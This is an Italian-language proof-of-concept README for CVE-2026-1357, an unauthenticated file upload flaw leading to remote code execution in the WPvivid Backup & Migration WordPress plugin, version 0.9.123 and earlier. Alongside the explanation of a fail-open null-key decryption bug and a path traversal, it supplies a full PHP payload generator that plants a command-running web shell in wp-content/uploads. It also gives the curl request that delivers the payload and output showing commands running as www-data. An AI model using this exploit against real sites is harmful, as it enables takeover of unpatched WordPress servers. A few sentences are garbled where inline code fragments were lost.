
Proof-of-concept exploit per CVE-2026-1357, un upload arbitrario di file non autenticato che porta a RCE nel plugin WPvivid Backup & Migration, con generatore di exploit e istruzioni di esecuzione.
Scoperto da: Lucas Montes (NiRoX)
Vulnerabilità: Upload Arbitrario di File Non Autenticato che porta a Esecuzione di Codice Remoto (RCE)
ID CVE: CVE-2026-1357
CVSS: Critico (9.8)
Stato: Corretto nella versione 0.9.124
Questo repository contiene l'analisi e la Proof of Concept (PoC) per una vulnerabilità critica nel plugin WordPress WPvivid Backup & Migration (versioni <= 0.9.123).
La vulnerabilità consente a un attaccante non autenticato di caricare file arbitrari (come shell PHP) sul server, portando a un'immediata Esecuzione di Codice Remoto (RCE). Ciò è causato da un difetto logico nella gestione degli errori crittografici (Fail-Open) combinato con una vulnerabilità di Path Traversal.
La vulnerabilità risiede nel modo in cui il plugin gestisce le richieste di trasferimento backup remoto tramite l'hook wpvivid_action=send_to_site. La catena di sfruttamento consiste in due bug distinti che lavorano insieme:
Quando il plugin riceve una richiesta di trasferimento, tenta di decrittare la chiave di sessione fornita utilizzando .
openssl_private_decrypt()false. La logica del plugin non controlla questo valore booleano di ritorno e procede a passare false alla libreria phpseclib per inizializzare il cifrario AES.phpseclib, una chiave false o vuota viene trattata come una stringa di byte nulli (\0\0...). Ciò consente a un attaccante di cifrare un payload dannoso utilizzando una chiave nulla a 128 bit, bypassando la necessità della chiave privata effettiva.Una volta che il payload viene "decrittato" con successo utilizzando la chiave nulla, il plugin elabora il contenuto JSON.
name all'interno del payload JSON non viene sanificato.../) per uscire dalla directory di backup ristretta del plugin (solitamente protetta da .htaccess) e scrivere un file PHP dannoso nella directory pubblica wp-content/uploads/.Vincoli:
wpvivid_api_token scade, il percorso di codice vulnerabile consente alla richiesta di fallire silenziosamente.Lo sfruttamento si basa sul comportamento di phpseclib (v1). Per eseguire il generatore localmente, sono necessari i file della libreria:
mkdir -p phpseclib/Crypt
wget -q https://raw.githubusercontent.com/phpseclib/phpseclib/1.0.20/phpseclib/Crypt/Rijndael.php -O phpseclib/Crypt/Rijndael.php
wget -q https://raw.githubusercontent.com/phpseclib/phpseclib/1.0.20/phpseclib/Crypt/Base.php -O phpseclib/Crypt/Base.php
exploit.php)Questo script crea un payload cifrato con una Chiave Nulla e include il path traversal per caricare una shell.
<?php
// exploit.php - Autore: Lucas Montes (NiRoX)
require_once(__DIR__ . '/phpseclib/Crypt/Rijndael.php');
// 1. Inizializza Rijndael (AES)
$rij = new Crypt_Rijndael();
$rij->setBlockLength(128);
// 2. RIPRODUZIONE DELLA VULNERABILITÀ
// Il server utilizza una chiave nulla per impostazione predefinita quando la decrittazione RSA fallisce (restituisce false).
// Impostiamo la nostra chiave locale su 16 byte nulli per corrispondere allo stato vulnerabile del server.
$rij->setKey(str_repeat("\0", 16));
// 3. Il Payload
$shell_content = '<?php system($_GET["cmd"]); ?>';
// 4. L'Oggetto JSON con Path Traversal
// Risaliamo fino a /uploads/ per bypassare le restrizioni .htaccess
$params = [
"backup_id" => "1",
"name" => "../uploads/pwn_remote.php",
"data" => base64_encode($shell_content),
"offset" => 0,
"file_size" => strlen($shell_content),
"total_size" => strlen($shell_content),
"index" => 0,
"md5" => md5($shell_content),
"type" => "backup",
"status" => "running"
];
// 5. Cifra con Chiave Nulla
$encrypted = $rij->encrypt(json_encode($params));
// 6. Costruisci il Pacchetto
// "ABC" è la chiave RSA falsa che attiva il ritorno 'false' sul server
$fake_key = "ABC";
$payload = str_pad(dechex(strlen($fake_key)), 3, "0", STR_PAD_LEFT)
. $fake_key
. str_pad(dechex(strlen($encrypted)), 16, "0", STR_PAD_LEFT)
. $encrypted;
echo base64_encode($payload);
?>
PAYLOAD=$(php exploit.php)
curl -i -s -X POST 'http://TARGET-URL/' \
-d 'wpvivid_action=send_to_site' \
--data-urlencode "wpvivid_content=$PAYLOAD"
http://TARGET-URL/wp-content/uploads/pwn_remote.php?cmd=id
Risultato:
uid=33(www-data) gid=33(www-data) groups=33(www-data)